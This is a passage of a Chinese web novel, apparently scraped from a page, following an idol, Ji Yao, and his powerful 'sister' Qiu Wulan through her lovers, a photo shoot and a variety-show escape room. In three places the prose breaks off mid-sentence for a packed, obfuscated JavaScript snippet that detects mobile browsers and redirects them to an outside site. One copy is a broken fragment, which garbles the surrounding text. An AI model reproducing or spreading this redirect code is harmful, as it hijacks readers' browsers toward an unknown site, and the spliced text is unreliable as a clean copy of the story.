季尧独自坐在另一侧窗旁的座上。 在两个真正的弟弟面前,他只是住家阿姨的孩子。 所谓“表弟”,是邱芜澜给他的庇护,他的真实身份只是邱岸山情妇和她前男友的孩子,一个拖油瓶,一个和邱家在生理上、法律上都毫无关系的存在。 邱芜澜偶尔点头,飞机落到公司顶楼停机坪时邱泽安才收起了平板。 三人乘电梯下楼,邱泽安按下邱芜澜办公室所在的二十六层,电梯门合上,邱芜澜侧头,问向季尧,“今天有安排么?” 季尧道,“十点要外出,五点应该可以结束。” 邱芜澜颔首,“好,我回家吃饭。” 季尧扬唇,反光的电梯门倒映出笑容甜美的少年和眉间微皱的青年。 邱泽然欲言又止,余光冰冷地睨向季尧。 邱家狼群般重视家族成员,亦如狼群般只在必要的时刻聚集,其余时候各自分散,有自己的领地。 即便是亲弟弟,也不能长期在邱芜澜的地盘边缘逗留,更不能入.侵她的领地。 但季尧不同,他是佣人的孩子,是帮佣、是附属,是邱芜澜领地上的资源之一。 她买下了自己的隔壁让季尧居住,也容许他随时出入她的别墅。 电梯在二十六层打开,邱泽安进入自己的办公室。 邱芜澜的两个总助,负责工作对接的是邱泽安;负责行政和生活琐事的是一位年近半百的女性,在邱芜澜进入公司之前,她是照顾邱芜澜的女佣。 季尧跟着邱芜澜进入副总裁室,一如往常,邱芜澜坐在办公桌后工作,他趴在沙发上打游戏。 工作上的事,邱芜澜并不避着季尧,偶尔季尧会主动去副总裁室休息间回避。 九点五十,季尧退了游戏,去了茶水间一趟,回来时手里多了杯花茶。 他将冒着热气的茶放去邱芜澜手边。 邱芜澜戴着防蓝光的眼镜,眼睛没有离开两台显示器,右手控着鼠标,左手抬了起来。 季尧低头,用脸去蹭她抬起的左手。 “姐姐有特别想吃的东西么。”他塌着腰,嘴唇挨着邱芜澜的手指,声音黏黏糊糊地从她指缝中泄出。 “你定。”邱芜澜捏了捏他的脸颊,很快抽手,回到了键盘。 少年撑着椅子扶手,倾身吻上她的眼镜镜脚。 “我走了姐姐。”一触及分,他冲她烂漫地笑,半脸镀了窗外的冬阳,冷质的阳光为这份笑添了矜贵。 邱芜澜没有看,她的注意力只在屏幕上的报表。 分针走过几大格后,她终于腾出手来,端了花茶轻抿一口。 馥郁的花香在口中漫开。 邱芜澜靠向椅背,摘下被热雾蒙住的眼镜,改用双手捧杯,窝在宽大的办公椅里小口啜饮。 好香。 …… “九点五十九,”罗浩炆看着上车的季尧,“你可真准时啊。” 季尧扫了眼车内,“队长呢?” 后排的杨木摇头,他身边本来是韩尘霄的位置,今天却空了出来。 副驾驶上的唐知行扭头,扫了眼季尧,没能从他脸上看出任何信息。 “走吧。”他催促助理,“人齐了。” “尘霄哥真不去啊?”罗浩炆问,“不是都定了封面是他吗?” 他眼中闪着点点躁动,关怀的话语里含着人尽皆知的潜台词。 唐知行淡淡道,“他身体不舒服,小邱总让他休息,封面由季尧补上。” 罗浩炆一下子泄了劲儿。 季尧歪在座椅上,盘着腿拿出switch,唇角噙着笑:“队长生病了?把拍摄延期,等他回来吧。” “不用。”唐知行皱了皱眉,还是没有忍住向季尧打探消息,“季尧……” “怎么?” 细微的按键声在车内响着,唐知行试探地开口,“你家里…小邱总对同性恋有点看法哈。” 抱着游戏机的少年噗嗤笑了出声,清朗的笑充满车厢,掩盖了按键音。 他笑得眼泪都出来了,打游戏的手倒是平稳依旧。几人被他笑得莫名其妙,好半晌,季尧笑够了,才道了一句:“唐哥,公司里卖腐的艺人比蟑螂还多。” 唐知行当然知道,就是因为秋叶娱乐卖腐的男艺人很多,他才认定邱家、至少小邱总是不会在意的。 “那昨天小邱总为什么…” “不知道哦。”季尧盯着boss的血皮,慢悠悠地开口,“我一直很受姐姐喜欢,所以不能理解为什么那么多男人最后都会惹她厌烦。” 唐知行一愣,过了会儿才反应过来季尧的话。 是说韩尘霄已经私下接触过邱芜澜,并让她腻烦了? 他觉得不是这个原因。 磨掉boss的最后一丝血,后座的少年无聊地叹息,对着游戏里的尸体自言自语:“真是没用的废物……” 这一声轻叹,让车子里的其他人微妙不适。 时尚周刊的拍摄现场有些杂乱,今天来拍摄的不止秋叶的RNI,还有不少其他公司的艺人。 RNI三人做好了造型,被叫了出去,场上在拍的是这两年火起来的男歌手,下一个就轮到他们。 季尧目光从柔光灯里的男歌手身上浅浅掠过,当摄影师喊结束后,男人立刻朝着季尧走来。 他穿着贴满钉钻的黑色皮衣,修长的手指上戴了三四个金属戒指,五官被画得锋利冷俊,偏偏脸上是热络的笑容。 “阿尧!”他大步来到季尧面前,“真巧,来了怎么不和我说一声?” 季尧偏头,定定地看了会儿他。 片刻,他迷茫地眨眼,“前辈是?” 男歌手的脸顿时发僵。 “是田烨老师啊!”罗浩炆恨不得代替季尧和田烨说话。 有了他的捧场,田烨的脸色才好看了点,他笑呵呵地对着罗浩炆点头,“你好,浩炆,还有…木木是吧?你们队长怎么没来?” 杨木和罗浩炆有些受宠若惊地同他握手,“田烨老师知道我们?” “当然,”田烨笑着,语气里带着点耐人寻味的深意,“你们可是阿尧的队友,芜澜和我提过好几次了。” 芜澜…… 这个称呼让罗浩炆和杨木微愣。 “噗。”短促的嗤笑打断了寂静。 几人寻笑看去,就见季尧乐不可支地摆手,“抱歉,原来是姐姐的男朋友,我忘记了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724276|144927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好意思啊田野老师。” 田烨嘴角微微抽动,干干回道,“没事,以后多见见就认识了。” 他不想看少年眼里的戏谑嘲弄,侧过身让了开去,“我先走了,不耽搁你们工作,有空了一起吃饭。” “好哦~”季尧笑眯眯地绕过他上前。 两人擦肩之时,他呢喃吐字,“不过我不喜欢你,以后可以别出现在我面前么,大叔。” 田烨猛地回身,少年插着口袋,已走向了摄影棚。 他握紧了两侧的手,此时的表情终于适配了那冷酷的装造。 臭小子! 不过是个远房表弟,要唱功没唱功,要演技没演技,一个草包二世祖,却比正儿八经的邱家小少爷还要狂傲…… 田烨沉着脸,大步走向了自己的休息室,门口的助理见了他,自觉跟了进门,准备给他卸妆。 田烨刚坐下就有手伸过来碰他的脸,他吓了一跳,躁气上涌,厉声呵斥,“谁让你进来的!懂不懂规矩,出去!” 小助理怔了下,红着眼睛连连道歉。 田烨烦得拧眉心。 他深深呼吸,压下在季尧身上吃瘪的恼怒,给邱芜澜去了语音。 田烨虽然瞧不起季尧,但邱芜澜对这个表弟实在是没话说,他担心季尧和邱芜澜说点什么,赶在季尧之前先一步和邱芜澜联系。 语音响了一会儿才被接通,当清浅的女声响起,田烨脸上不觉露出柔情。 他后知后觉,根本不需要刻意调整情绪,听见邱芜澜声音的刹那,他自然而然心跳如鼓、满腔蜜意。 “宝贝,”作为歌手,田烨很擅长利用自己的嗓音,“你猜我今天碰到谁了?” 片刻后,对面传来一声“嗯”。情绪很淡,分不出是问号还是句号。 田烨不计较她的敷衍,笑着往下说:“我碰见阿尧了。” “嗯?” 这一次情绪浓了不少,足以分辨语气。 “你在忙是吗?”田烨点到为止,“没事,我就是和你说一声,你忙的话我先挂了,等你空了再联系。” “你说。”回应他的终于不是单字,“他怎么了?” “没什么,”田烨握着手机,眼角爬上尖利的笑,“就是遇上了,和你说一声而已,阿尧今天可帅了,我都差点没认出来。” 手机另一头沉默了几许,“好,挂了。” 田烨体贴地结束了对话,“嗯,爱你。” 有了这一针预防针,季尧再去邱芜澜面前说什么都会显得幼稚任性,同时也反衬出他的成熟包容。 一个被宠坏的小孩,哪里能翻得出他的手心。 像邱芜澜这样完美的顶级金主,田烨绝不会轻易放弃。 “简,”挂断语音,邱芜澜对着替她换果茶的行政总助道,“帮我留意下新的。” 简动作一顿,惊讶地回望她,“田烨不是才来了一个月么?这就要换掉?” 邱芜澜瞌眸,“你先留意着。” 简的目光落在邱芜澜手边尚未息屏的手机上,大致明白了什么。 第一声的“嗯”,熟悉她的简一听就知道她很不耐烦。 纵使明星们没有坐班的概念,作为情人,也该对金主的工作习惯上点心。 下午两点,这样的工作时间段打毫无紧要的私人电话,实在是不太礼貌。 6. 第六章 “不错,真不错。”摄影师翻着相机里的照片,侧着身子给一旁的唐知行看,“你们家季尧真上镜啊。” 唐知行五味杂陈地附和了两句。 这本该是韩尘霄的。 但摄影师说的没错,季尧业务能力不行,身高也去不了专业的模特赛道,可他拍照是真的漂亮。 哪怕季尧是个普通艺人,在韩尘霄缺席的情况下,唐知行也会推荐季尧去封面。 “辛苦了。”他对着摄影棚的人道谢,带着三人回去。 但凡回程,一定是先送季尧。 “下个月的‘游戏吧’,我给你们争取到了两个名额。”回去的路上,唐知行通知三人,“有想去的么?” ‘一起游戏吧’是近年爆火的综艺,大咖云集,RNI这样才出道了三年的团队好不容易才争取到名额。 唐知行肯定是要给韩尘霄一个的,他预备过两周就去和邱芜澜求情,让她放韩尘霄一马;要是邱芜澜真的厌弃了韩尘霄,那他也要早做打算。 罗浩炆、杨木暗中注意着季尧,他们知道唐知行内定了韩尘霄,剩下那个名额,全看季尧想不想去。 在他们期待的目光中,季尧优哉游哉地举手,“我想去。” 罗浩炆杨木眼里的光熄了。 倒是唐知行问了句:“我听说下个月小邱总要去分公司那边,她带你吗?” “没有提。” “她要是带你,你早点和我说,我好安排行程。” “好哦。” 车子没有进入内部路,在别墅区入口停下。 在这个小区,季尧不需要变装,他刷业主卡提了辆二座的四轮代步,开去了别墅区内部的生鲜超市。 今天晚上邱芜澜回家吃饭,不过季尧来超市不是为了给她买菜。 对奢侈品、房子、车子都不感兴趣的邱芜澜,唯独对食物非常挑剔,超市里的东西她总能吃出不新鲜的臭味。 季尧回来的路上给邱芜澜订了菜,果蔬蛋奶会在十分钟后由农场送到家门口,调料油米每个月也都有专线送来,季尧来超市买的是自己的部分。 和邱芜澜不同,他对食物没有太高要求,在给邱芜澜做饭的其他时间里,季尧基本是用冻品、半成品或白人饭解决自己的三餐。 下午四点,这样的工作时间段,生鲜超市里的人也不少。 各家的保姆、太太们来买晚餐用材,季尧混在其中,进门时拿出手机打开备忘录。 他在备忘录的搜索栏上输入这一周的日期,划不到头的备忘录跳出一条,季尧边走边在昨天的日期里输入:“[普外]:甜虾(生)、北极贝(生)、雪蟹(蒸)”;“[本家]:羊排(煎)”…… 看见冷风箱里的牛肉,季尧返回搜索栏搜索“牛腩”检验。 上一条“牛腩”的记录是上个月十七号,季尧敛眸,确定今天的晚餐自己没有订重复。 昨天两顿都不算清淡,按理今天不该再多肉类,但季尧知道邱芜澜根本没有吃饱。 从昨天中午到今天早上,一天半的时间里,她吃下去的东西加起来还没有一两重。 早上进电梯时,她主动问了他今天能不能早归,是饿狠了,想要吃饭。 确认自己没有订错食材后,季尧收起备忘录,随意从冷柜里捡了点虾饺、速冻鸡排敷衍自己之后的一周。 “阿尧?” 季尧回眸,隔着两个冷柜,看见了叫住他的人。 “易蒲哥。” 穿着一身宽松毛衣的男人朝他走来,眉眼温和,见季尧手中装着生鲜的篮子,男人脸上划过一丝怅然。 “邱总还好么?”他问。 季尧勾唇,“恐怕没有易蒲哥在的时候好——新交的男友是个白痴,没有易蒲哥半点温柔体贴。” 易蒲笑了,笑声温润,像是被这恭维取悦了,可眼中暗含几分担忧。 “秋叶娱乐的版图越来越大了,她的压力也越来越重,我真怕来回换人反而更加添乱。” 季尧舌尖顶着上颚,笑而不语。 易蒲轻叹着摇头,“我没有那个意思,从前没能复合,今后就更不可能了。” “为什么呢?” 易蒲侧头,余光扫向了别墅区的某处。 “小区里有一栋房子今天开始装修。听邻居说,户主是个姓华的男星。” 他自嘲地笑,“我有自知之明,能被你姐姐看上,不过是沾了人家的光罢了。” 闲聊两句,易蒲离开了,剩下季尧站在原地。 他瞥向篮子里的冻品。 被无聊的废话耽搁了时间,害得他要去冷柜里全部换一遍了。 …… “宋折凝刚刚领奖回来,想约您吃个饭庆祝下。” “今天不行。”邱芜澜关了电脑起身,“明天吧。” 简为难道,“明天她要进组了,本来今晚就该出发,为了请您吃饭,特地和剧组请的假。” 邱芜澜离开的脚步一顿,眉间轻蹙。 简看出了她的不情愿。 “好,”她还是应了,“告诉季尧,给我留饭。” 简递给她一块巧克力,没有商标logo,是为邱泽安和挑嘴的小邱总专门定制的。 邱芜澜没有拒绝,她拆开银箔纸将糖送进口中,神色微恹,脸颊鼓起来一小团。 简想起了过去。 再是冷淡的邱家人,小时候也是浑身奶香,有婴儿肥的。 宋折凝是大哥邱承澜创立秋叶娱乐时签约的第一个艺人,也是跟着秋叶娱乐从无到有、一起走过来的老人。 秋叶娱乐成立了十三年,宋折凝出道了二十年,她不仅是秋叶娱乐的台柱一姐,也是超一线的双栖天后影后。 她的影视成就比音乐高一点,近五年收视率破一的热剧,宋折凝参演了三分之一。 一姐的面子,总裁也不能不给。 饭局结束后,邱芜澜脸上的恹色愈浓,靠在椅背上闭目。 简开着车,忍不住从后视镜观察邱芜澜的脸色。 一餐饭吃到了近十一点,邱芜澜眉间的疲倦肉眼可见,奇怪的是她脸色并不差,反而透出一层绯红。 简咯噔了一下,快到家时,果然听见了微弱的低吟。 她将车开进车库,没有叫醒邱芜澜,先拿出手机联系了田烨,让他今晚不要外出,保持电话畅通。 发着消息,车窗突然被人叩了叩。 简吓得手指一抖,差点滑落了手机。 她扭头看去,见是季尧。 “小姐累了。”简按下车窗,对着车外的少年低声道,“你今晚回去吧。” 季尧视线下垂,扫过简手机上的聊天界面。 他了然地点头,扬起甜腻的笑:“不要。” 说罢,季尧拉开后座车门。 开门声唤醒了浅眠的邱芜澜。 车库的灯光被季尧遮挡,少年身形的阴影半覆上了后座的女人。 她还是一身正装,可双颊染霞,呼吸微烫,黑色的睫翼颤了颤,悠悠转醒,睑下的眸子水光澹澹,氤氲涣散。 “姐姐。”季尧俯身,覆上了她有些发潮的额。 邱芜澜抬手,环上了他的脖颈。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724277|144927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 两人距离拉近,她温热的吐息落在少年颈间,呓语般喃喃:“好饿……” 季尧将她从车中抱出,进入电梯。 双层的金属门合上,在狭小的空间里,邱芜澜的瞳孔愈发涣散,她嗅闻着季尧的气息,一只手死死攥住他的衣领,扯开了半截锁骨。 “好饿……”她呢喃着,“阿尧,我饿。” 季尧将她抱去餐厅。 “现在是谁来着,许正哥还是涟哥?”他眨了眨眼,“我来联系。” 现在是谁来着…… 邱芜澜迷蒙地望着空荡巨大的餐桌,思绪迟钝地想了会儿,脸色尚且潮红,眼神里的欲望褪去了大半。 现在是田烨啊。 她低低开口:“算了。” 季尧疑惑,“为什么?” “难吃。”邱芜澜厌倦地瞌眸,“倒胃口。” 她努力平复着躁意,半晌,当她再度睁眸时,彻底恢复了清明, “吃饭吧。”她的目光落在季尧精致的侧脸上,语气柔和了几分,“我饿了。” 季尧弯眸,琥铂色的瞳孔折出晶亮的灯光,玻璃糖一样漂亮。 他转身进入厨房,端出滚烫的饭菜。 简单的菜样,炖牛腩配一碗番茄豆腐汤。 在他离开的这一会儿工夫里,邱芜澜面前多了两个药瓶。 季尧坐在邱芜澜身旁,没有将餐具给她,而是捏在了自己手中。 他知道服药后的邱芜澜抬不起手。 “姐姐,”舀起一勺裹了酱汁的牛腩,带热度稍降,他送去邱芜澜唇边,张嘴哄她:“啊~” 夜色已深,别墅内外都冷,空荡的餐厅内,邱芜澜半梦半醒地靠着椅背,被动吞下了送到嘴边的肉。 片刻,待她咽下,季尧期翼问询:“合姐姐胃口吗?” 邱芜澜在外时刻板正的身姿松弛了下来。 她迟钝地咀嚼着,像是昏昏欲睡,又像是索然无味,看着毫无食欲,可在季尧提问后,她淡色的唇微张,回答:“还要。” 桌上的食物滚烫,浓厚的香味挑逗着食欲。季尧舀起第二勺,热雾挡在他眼前,朦胧了邱芜澜的面容,为那份瑰丽增添隐秘。 秋叶娱乐二十六层的灯光还未熄灭。 总助室内,属于邱泽安的办公桌下是一只爆满的垃圾桶。 五颜六色的糖纸堆成了小山,从垃圾桶上溢出。 桌子的抽屉拉开着,男人双眼干涩,隔着银丝眼镜都能看出明显的疲惫。他一只手挪动着鼠标调整数据,另只手伸进抽屉。 半屉的糖。 捻了一颗,那修长的手指微滞,改为抓起两颗。 邱泽安盯着屏幕,熟稔地剥掉糖纸,将两颗糖一起塞入口中。 咔啦咔啦……他机械麻木地咬着,本就白的皮肤被电子光照映得愈发冷。 糖纸丢去垃圾桶,从早已堆满的桶上滚落,洒在地上。 邱泽安听见了糖纸落地的声音,架在鼻梁上的眼镜像是一幅矫正器,矫正他的眼睛必须看向工作内容,无暇分神处理其他事务。 红蓝黄的标记、密集的表格、折线、长柱、不同文字的邮件、合约重叠在一块儿,形成一幅混乱驳杂的画,死死粘在冰冷的镜片上。 彻底处理完它们之前,邱泽安无法扭动脖颈、转移视线,全身唯一算得上自由的只有左手。 糖尚未融化,被牙齿咬成碎块后,那只自由的左手立刻伸进抽屉,抓出新的糖果。 咔啦…… 新的糖纸亦从垃圾堆上滚落,二十六层的灯光始终亮着,彻夜未熄。 7. 第七章 罗浩炆推开门,在房间里见到了意外的人。 “呦,难得你用休息室。” 窗帘拉了半边,少年正坐在电竞椅前打游戏。 这间房的磨砂门上挂了[RNI]的铭牌,是公司划给RNI的休息室。 秋叶娱乐给所有艺人都配备了休息室,大部分和RNI一样,同一个经纪人手下的艺人共用一间,只有摇钱树们才有专属的个人休息室。 罗浩炆带上门,去了一旁的沙发坐下,“你今天没去小邱总的办公室,她是去了邯城分公司?” 季尧专注着游戏,这台电脑配置极高,使用率却很低,只有邱芜澜出差时,他才会光顾一下。 他不回答,罗浩炆便当默认了,随口闲聊,“小邱总要在分公司待一周,你也不用忙着做饭了,下午聚个餐怎么样,庆祝队长病愈回归。” “杨木呢。”季尧问。 “他去医院了。” “医院?” 罗浩炆耸肩,“我也不清楚,他今年好像经常往医院跑。” 难得有季尧附和的话题,罗浩炆幸灾乐祸地多说了几句,“我们猜是药打多了。” 键盘声一顿,季尧转过电竞椅,支着下巴,颇感兴趣:“药?” “是啊,你没发现他的身材越来越夸张了么,脱脱水直接能参加健美了。”罗浩炆哼笑了一声,“我看到过,他储物柜里好几个瓶子呢。” 激素药啊…… 季尧脸上的兴味淡了。 罗浩炆还在感叹,“杨木的性格其实蛮吃亏的,他这种人不适合在娱乐圈。身材练得再好有什么用呢,又没剧本要他,身体练坏了倒是容易治,身材焦虑可不容易好啊。再说……”他瞥了瞥嘴,给这番语重心长的叹息加了句戏谑的总结,“药用多了,还影响功能。” 季尧偏头,“杨木有女朋友?” “哈,”罗浩炆不客气地笑了出来,“他可不敢找女朋友,人家看着老实木讷,心里啊,也是有梦想的。” 季尧勾唇,露出一侧尖利的犬牙。 “对了,”趁着话头,罗浩炆问他,“怎么不见你谈恋爱?你又不用在乎公司规定。” “姐姐不喜欢我早恋。” 他的口吻带着点天真,罗浩炆嗤笑之后,又感到新奇,“小邱总居然反对早恋?” “是哦,姐姐十八岁之前都没有谈过男友。” “那怎么现在……”罗浩炆戛然而止,意识到这话讲出来不太好听。 他小心打量季尧的神情,怕他和邱芜澜告状,好在季尧只是笑着,一副单纯的傻白甜样。 罗浩炆不确定他是不是真的傻白甜,绝大多数时候季尧都表现得像个被宠坏的二世祖,任性妄为,随心所欲,带着被金钱浇灌出来的天真傲气,也有点儿眼高于顶的坏毛病。 可偶尔,罗浩炆总觉得这小子不太对劲。 一个娇生惯养的二世祖,讨好邱芜澜没毛病,可他居然风雨无阻地给邱芜澜做饭。 只要邱芜澜中午在公司,吃的就一定是季尧做的饭,从来不去公司食堂。 公子哥儿是有爱好厨艺的,但爱好只是爱好,谁会像季尧这样,凌晨三点结束工作,赶着回去给邱芜澜做早饭。 罗浩炆不了解邱家的复杂关系,但他知道,邱芜澜是个过分挑剔的大小姐。 她吃饭挑剔、对人挑剔,不满意不一定放在脸上,可一定会落实在行动当中。 季尧这种恣意妄为的性格,是怎么让邱芜澜将他纳入羽下的? 凭那一点血缘?邱家血缘比季尧近、性格比季尧好的人多了去了,也没见邱芜澜这么在乎。 罗浩炆听过一个小道消息:邱芜澜很多前任都抱怨季尧不好相处。 当然,不止是邱芜澜的前任,罗浩炆就没见过有哪个男人说季尧好相处的,女员工倒是特别喜欢他。 “季尧!”磨砂门被推开,唐知行大步入内,身后跟着半个月没出现过的韩尘霄,“东西收拾好了?走吧,车子在楼下了。” 季尧懒洋洋地站起来,从电脑桌下拎起个双肩包。 罗浩炆这才想起来,明天就要录制“游戏吧”了。 他艳羡地目送三人离去,自己待着无聊,坐了会儿也去舞蹈室练舞。 季尧出发的时候,邱芜澜已经抵达了邯城,同分公司的几位负责人开了会议。 “邯城的娱乐竞争不大,在这里设立分公司的初衷各位也都清楚。” 她坐在会议桌前,手边是同行的邱泽安。 “两个目标,”邱芜澜倾身,重申了战略,“地方电视台,和国内最大的影视城。” 秋叶集团向娱乐圈伸出了触手,要的绝不仅仅是签约几个明星、拿到几个奖项。 它的目标在更深更湍急的水下。 “影视城是从前未曾接触的项目,周期长、规模大、难点多,我会持续补充资源,之后也会把邱泽安留下。” 被点名的邱泽安看了邱芜澜一眼,她接着往下说,“他是最早跟进的,之后会由他负责接手这个项目。” 散了会,分公司的两位负责人带着邱芜澜一行巡视。 路过员工休闲厅处的杂志架,邱芜澜停下了脚步。 行政一看,马上明白过来。 她走去取下架子上的一本杂志,递到邱芜澜手上,“这期的新刊很受欢迎,我们自己也有不少员工买呢。” 杂志的封面,是趴在纯黑丝绸上的少年。 丝绸的褶皱如水纹漾开,少年枕着自己的手肘,浅笑吟吟地望着镜头。 他宽松的上衣露出半边锁骨,冷白的皮肤、纯真的长相,本该是天使容貌,却因伏在漆黑的绸上,使他更像是伪装成天使的恶魔,天真恶劣,勾人心魄。 邱芜澜唇边泛起了极浅的笑,“很漂亮。” 邱泽安忍着厌恶,附和了一声,“还可以。” 行政很上道,“邱总喜欢就带回去吧,这里还有。” “不用了。”邱芜澜将杂志放回了原位,“留着你们看吧。” 邱泽安心底的那一丝不悦散了,像是当众得到了母亲偏爱的孩子一样,微微抬高了下颚。 从分公司离开,回了酒店,邱芜澜询问起邱泽安对分公司的想法。 “感觉怎么样?” “渗透一个地方电视台倒还好说,要想建立姐姐和哥哥目标中的影视城,确实有不小压力。”邱泽安如实回答,“但这里的负责人都是我们亲自挑过去的,有集团的支持,又有姐姐在娱乐圈十年的积淀,达成目标不过是早晚的事。” 邱芜澜颔首, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724278|144927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你有信心就好。” 邱泽安一愣,“什么意思?” 他想起邱芜澜今天在会议上说的话,“姐姐,你真的要把我留在郸城?” 邱芜澜抬眸,看向这些年褪去青涩的弟弟。 “泽然选择了体育,他的性格也不适合做事。”她道,“泽安,新一代只有哥哥和我是不够的,你不能永远只是个秘书。” 邱泽然愕然开口,“姐姐,我……” “就算是秘书,也不能是秋叶娱乐的秘书,至少该在集团里。”邱芜澜没等他说完,“或者,你想去哥哥身边?” “不、不。”邱泽然不假思索地拒绝。 他崇敬大哥,可毕竟是姐姐把他和泽然带大的。 “我还没有做好心理准备。” 邱芜澜知道他在彷徨、在不舍,她没有强硬逼迫,只是坐在那里,身上淡雅的兰草气化作千丝万缕,柔软地缠住了邱泽然的满身关节。 她当然疼爱他、重视他,可狼群需要等级秩序,需要服从命令。 在无言的威压下,邱泽然只能垂下眼睑,涩然服从,“好的…姐姐。” 邱芜澜顿时笑了,清清浅浅,像是墨滴入了水中,蔓延出袅袅丝画。 “别担心,”她拿出糖给他,“短期内我还不会放手。当年哥哥在秋叶娱乐手把手带了我一年,泽安,我对你,会比哥哥对我更加耐心。” 她素白的掌心间躺着颜色艳丽的糖。 邱泽然忍不住滚动喉结,用力吞咽。 他的呼吸微重,银丝眼镜再度固定了他的头颅,让他盯着那颗紫红色的糖、让他无法从糖上转移视线、亦让他看不见周围其他的事物。 “吃吧。”邱芜澜柔声道,“没关系,我知道你最近很累了。” 呼吸声骤然加重一成。 青年伸手,苍白的指尖颤抖着抓住了那颗糖,他动作太急、手指太抖,抓握时指甲在邱芜澜的掌心重重刮过,留下一道红痕。 窸窣的拆糖声后,邱泽安的臼齿像是两台液压器,麻木机械又快速地抬起、落下,将糖果切割成碎块。 他的瞳孔有些涣散,鼻腔发出微弱而可怜的呻吟。 这份甜蜜虚假而短暂。 真正的糖在咽下之后,口中留有浓烈的反酸;可代糖的甜转瞬即逝,如同还未绽放就湮灭的烟花,味蕾很快意识到欺骗,留在舌上的只是些乏味的躯壳。 邱芜澜冲他伸手,身形颀长的青年朝她趔趄走去,跪在了椅前,抱住了姐姐的腰肢,将头抵在她腹前。 邱芜澜抿唇,轻微的颤栗后,压下自己腾升的躁意,用微凉的十指轻柔梳理弟弟的头发,像是小时候弟弟们每次发病时所做的那样,温柔抚慰。 她如母狼般慈爱地舔舐受挫的幼崽,尽管在外狩猎许久的母狼自己也是沉疴未愈。 “我和男朋友分手了。”她抱着颤抖的邱泽安,蒙上水雾的眼睛望着虚无之处,“泽安,答应我,在分公司的这一周,每天不能超过三十颗。” 邱泽安没有回答,她用更加柔软的声音鼓励,“只是比平常少一点而已。回去之后,我允许你补上。” 偌大的套房里,只有男生粗重悲哀的喘息。 良久,邱芜澜怀里才传出一声沙哑的泣音。 “嗯。” 8. 第八章 收到提示音,季尧扯下眼罩。 视野之内一片幽暗,他被投放在了监牢。 两平方不到的空间,三面是墙,挨着走廊的一面是铁栏杆。 他站起身观察了一圈所处环境,双手被麻绳绑在身前,绳子只绑了手腕,限制了少量自由,末端垂下长长一截。 这次的游戏吧上半场的内容是密室逃脱,一开场几位嘉宾就被分开投放。 上方传来PD的广播:“欢迎大家进入本次游戏吧的第一环节——古堡逃生。” “参与本次逃生的一共有十位玩家,其中有一位为古堡主人。” “古堡主人拥有两张黑色卡牌,被古堡主人贴上黑色卡牌的玩家将成为古堡主人的傀儡,听从古堡主人的指令,‘杀死’其他玩家。” “当玩家存活量低于古堡阵营存活数量时,逃生失败。” “当多于古堡阵营存活数量的玩家逃离古堡时,逃生成功。” “额外提醒:古堡之中有大量散落的道具,请有效利用这些道具。” “规则播报完毕,祝各位玩家游戏愉快。” 十位玩家,六位是常驻的MC,这次四位飞行嘉宾的身份信息都被节目组隐藏,季尧和韩尘霄占了两个,另外两位不知是谁。 是谁都无所谓。 太阳穴有些刺痛,季尧百无聊赖地用鞋子蹭了蹭地砖,嘉宾无所谓,节目无所谓,他的表现也无所谓。 就算他现在叫停退出,也不会有任何影响。 他想起自己和邱芜澜说要去录制“游戏吧”的那天。 邱芜澜在沙发上看秋叶娱乐策划的新人选秀,他告诉她,唐知行给他和韩尘霄争取到了游戏吧的名额。 邱芜澜听完嗯了一声,“‘游戏吧’的氛围不错,玩的也都是你感兴趣的游戏。” 她没有再过问韩尘霄的事。 那声“哥哥”也不过如此,半个月就没了痕迹。 季尧眼睫微垂,片刻,他环住邱芜澜的腰,埋头同她撒娇,“姐姐,我想玩密室逃脱。” 彼时邱芜澜看着节目没有说话,只反手摸了摸他打卷的头发。 监狱的角落堆着散乱的稻草,季尧不急着解开腕上的绳索,他走去角落,用脚拨了拨那些稻草,在草堆掩盖的墙壁上有一个方形的通风管道,人头大小,被铁丝网拦住。 铁丝网之后的管道内,有一支拳头大小的木盒。 整个囚室只有顶部监控旁亮着一盏小夜灯,环境相当昏暗,深色的木盒藏在管道内,站在季尧身后的摄影都没看见,他却一眼发现了。 季尧蹲了下来,拿着捆住他手腕的麻绳末端,在两根相邻的铁丝上绕了两圈,系了个鲁班结。 他起身向后退去,绳子绷紧,他一步步后退,端点的两根铁丝受力弯曲,终于嘭的一声被绳子扯断。 摄影师愣了下,作为世子爷的摄影,节目组给了他不少关照。 譬如,这个房间里是有老虎钳的,藏在墙壁的一块石砖后,如果季尧找不到,摄影师就会偷偷告诉他,务必让少爷游玩愉快。 可谁能告诉他,为了增加游戏难度和方便沉浸式代入囚犯的麻绳怎么会变成逃生工具! 这些铁丝并不算太细,他眼睁睁看着自家白白净净的少爷用那垂下来的一小截绳子,轻而易举地一次性拉断了两根! 